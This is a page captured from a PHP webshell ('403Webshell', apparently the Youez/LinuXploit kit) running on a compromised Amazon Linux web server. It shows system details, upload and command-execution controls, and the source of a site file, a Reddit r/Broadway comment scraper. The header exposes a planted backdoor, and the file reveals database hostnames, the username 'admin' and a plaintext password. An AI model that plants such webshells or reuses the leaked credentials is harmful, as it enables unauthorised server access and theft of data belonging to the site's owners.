403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.217.139
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/banners/public_html/bway/oldfeeds/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/banners/public_html/bway/oldfeeds/feedsmasteratomreddit-pull.php
<?php
/**
 * Reddit r/Broadway Comment Puller
 * Replaces: feedsmasteratomreddit-pull.cfm
 *
 * Phase 1: Fetches r/Broadway RSS, finds posts with /comments/ URLs
 * Phase 2: For each post, fetches comment RSS, extracts comments
 * Phase 3: Batch checks and inserts new comments into reddit_comments
 */
require_once __DIR__ . '/mysql_tls.php';

set_time_limit(900);

// Default to verbose in browser, silent for cron. Use ?silent=1 to suppress output.
$silent = isset($_GET['silent']) ? intval($_GET['silent']) : (php_sapi_name() === 'cli' ? 1 : 0);
$showOutput = ($silent == 0);

// Fetch main r/Broadway RSS feed
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => 'https://www.reddit.com/r/Broadway/new/.rss',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_TIMEOUT => 30,
    CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
    CURLOPT_HTTPHEADER => ['Accept: application/atom+xml,application/xml,text/xml,*/*'],
]);
$feedContent = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
$curlError = curl_error($ch);
curl_close($ch);

if ($showOutput) {
    echo "<strong>Reddit RSS Fetch</strong><br>\n";
    echo "HTTP Code: $httpCode<br>\n";
    if ($curlError) echo "Curl Error: $curlError<br>\n";
    echo "Content Length: " . strlen($feedContent) . " bytes<br><br>\n";
}

$insertedCount = 0;
$skippedCount = 0;
$errorCount = 0;
$processedPosts = 0;
$allComments = [];
$commentPosts = [];

try {
    if (!empty($feedContent)) {
        $xml = @simplexml_load_string($feedContent);
        if ($xml === false) {
            if ($showOutput) echo "Failed to parse RSS feed.<br>";
            exit;
        }
    } else {
        if ($showOutput) echo "<strong style='color:red;'>No content returned from Reddit (HTTP $httpCode). Reddit may be rate-limiting this server.</strong><br>\n";
        exit;
    }

        // Register namespaces and get entries
        $xml->registerXPathNamespace('atom', 'http://www.w3.org/2005/Atom');
        $posts = $xml->xpath('//atom:entry') ?: $xml->xpath('//*[local-name()="entry"]');
        if (!$posts) $posts = [];

        if (count($posts) > 0) {
            if ($showOutput) echo "<strong>Found " . count($posts) . " posts from r/Broadway RSS feed</strong><br><br>";

            foreach ($posts as $post) {
                $postLink = '';
                $linkAttrs = $post->link ? $post->link->attributes() : null;
                if ($linkAttrs && isset($linkAttrs['href'])) {
                    $postLink = (string)$linkAttrs['href'];
                }
                if (!empty($postLink) && strpos($postLink, '/comments/') !== false) {
                    $commentPosts[] = $postLink;
                }
            }

            if ($showOutput) echo "<strong>Found " . count($commentPosts) . " valid Reddit posts to process</strong><br><br>";
        } else {
            if ($showOutput) echo "No posts found in RSS feed.<br>";
            exit;
        }
} catch (Exception $e) {
    if ($showOutput) echo "An error occurred while fetching the RSS feed: " . $e->getMessage();
    exit;
}

if (count($commentPosts) > 0) {
    // PHASE 1: Fetch all comments from RSS feeds
    if ($showOutput) echo "<strong>Phase 1: Fetching comments from Reddit RSS feeds...</strong><br><br>";

    foreach ($commentPosts as $i => $postURL) {
        $commentFeedURL = trim($postURL) . '.rss';
        if ($showOutput) echo "Processing " . ($i + 1) . " of " . count($commentPosts) . ": $postURL<br>";
        if ($showOutput) @ob_flush(); @flush();

        try {
            $ch = curl_init();
            curl_setopt_array($ch, [
                CURLOPT_URL => $commentFeedURL,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_TIMEOUT => 15,
                CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
                CURLOPT_HTTPHEADER => ['Accept: application/atom+xml,application/xml,text/xml,*/*'],
            ]);
            $commentContent = curl_exec($ch);
            curl_close($ch);

            if (!empty($commentContent)) {
                $commentXML = @simplexml_load_string($commentContent);
                if ($commentXML !== false) {
                    $commentXML->registerXPathNamespace('atom', 'http://www.w3.org/2005/Atom');
                    $comments = $commentXML->xpath('//atom:entry') ?: $commentXML->xpath('//*[local-name()="entry"]');
                    if (!$comments) $comments = [];

                    if (count($comments) > 0) {
                        if ($showOutput) echo "Found " . count($comments) . " comments<br>";

                        foreach ($comments as $comment) {
                            $cContent = isset($comment->content) ? (string)$comment->content : '';
                            $cTitle = isset($comment->title) ? (string)$comment->title : '';
                            $cLink = '';
                            if ($comment->link) {
                                $attrs = $comment->link->attributes();
                                if (isset($attrs['href'])) $cLink = (string)$attrs['href'];
                            }

                            if (!empty($cLink) && strpos($cLink, '/comments/') !== false) {
                                $allComments[] = [
                                    'reddit_link' => $postURL,
                                    'content' => $cContent,
                                    'title' => $cTitle,
                                    'link' => $cLink,
                                ];
                            }
                        }
                        $processedPosts++;
                    } else {
                        if ($showOutput) echo "No entry elements found in feed<br>";
                    }
                }
            } else {
                if ($showOutput) echo "No content in response<br>";
            }
        } catch (Exception $e) {
            $errorCount++;
            if ($showOutput) echo "<strong>Error fetching:</strong> $commentFeedURL<br>Error: " . $e->getMessage() . "<br>";
        }
        if ($showOutput) echo "<br>";
    }

    // PHASE 2: Batch check and insert
    if ($showOutput) {
        echo "<br><strong>Phase 2: Checking for existing comments and inserting new ones...</strong><br>";
        echo "Total comments fetched: " . count($allComments) . "<br><br>";
        @ob_flush(); @flush();
    }

    if (count($allComments) > 0) {
        $dbRead = oldfeeds_mysqli_connect('amazonaurora.cluster-ro-cemzxojvmybt.us-east-1.rds.amazonaws.com', 'admin', 'xxatN6Lb8Kbwb9MiU1At');
        mysqli_select_db($dbRead, 'amazonrds');

        $dbWrite = oldfeeds_mysqli_connect('amazonaurora.cluster-cemzxojvmybt.us-east-1.rds.amazonaws.com', 'admin', 'xxatN6Lb8Kbwb9MiU1At');
        mysqli_select_db($dbWrite, 'amazonrds');

        if ($showOutput) echo "Inserting comments...<br>";

        foreach ($allComments as $comment) {
            try {
                $linkEsc = mysqli_real_escape_string($dbRead, $comment['link']);
                $check = mysqli_query($dbRead, "SELECT COUNT(*) AS commentCount FROM reddit_comments WHERE link = '$linkEsc'");
                $row = mysqli_fetch_assoc($check);

                if ($row['commentCount'] == 0) {
                    $redditLinkEsc = mysqli_real_escape_string($dbWrite, $comment['reddit_link']);
                    $contentEsc = mysqli_real_escape_string($dbWrite, $comment['content']);
                    $titleEsc = mysqli_real_escape_string($dbWrite, $comment['title']);
                    $linkEscW = mysqli_real_escape_string($dbWrite, $comment['link']);

                    mysqli_query($dbWrite, "INSERT INTO reddit_comments (reddit_link, content, title, link) VALUES ('$redditLinkEsc', '$contentEsc', '$titleEsc', '$linkEscW')");
                    $insertedCount++;
                    if ($showOutput) echo "Inserted: " . substr($comment['title'], 0, 50) . "...<br>";
                } else {
                    $skippedCount++;
                }
            } catch (Exception $e) {
                $errorCount++;
                if ($showOutput) echo "Error inserting comment: " . $e->getMessage() . "<br>";
            }
        }
        if ($showOutput) echo "Batch insert complete<br>";

        mysqli_close($dbRead);
        mysqli_close($dbWrite);
    }

    if ($showOutput) {
        echo "<br><strong>Summary:</strong><br>";
        echo "Posts processed successfully: $processedPosts of " . count($commentPosts) . "<br>";
        echo "Comments inserted: $insertedCount<br>";
        echo "Comments skipped (duplicates): $skippedCount<br>";
        echo "Errors: $errorCount<br>";
        echo "<br>Reddit comments processed successfully!";
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit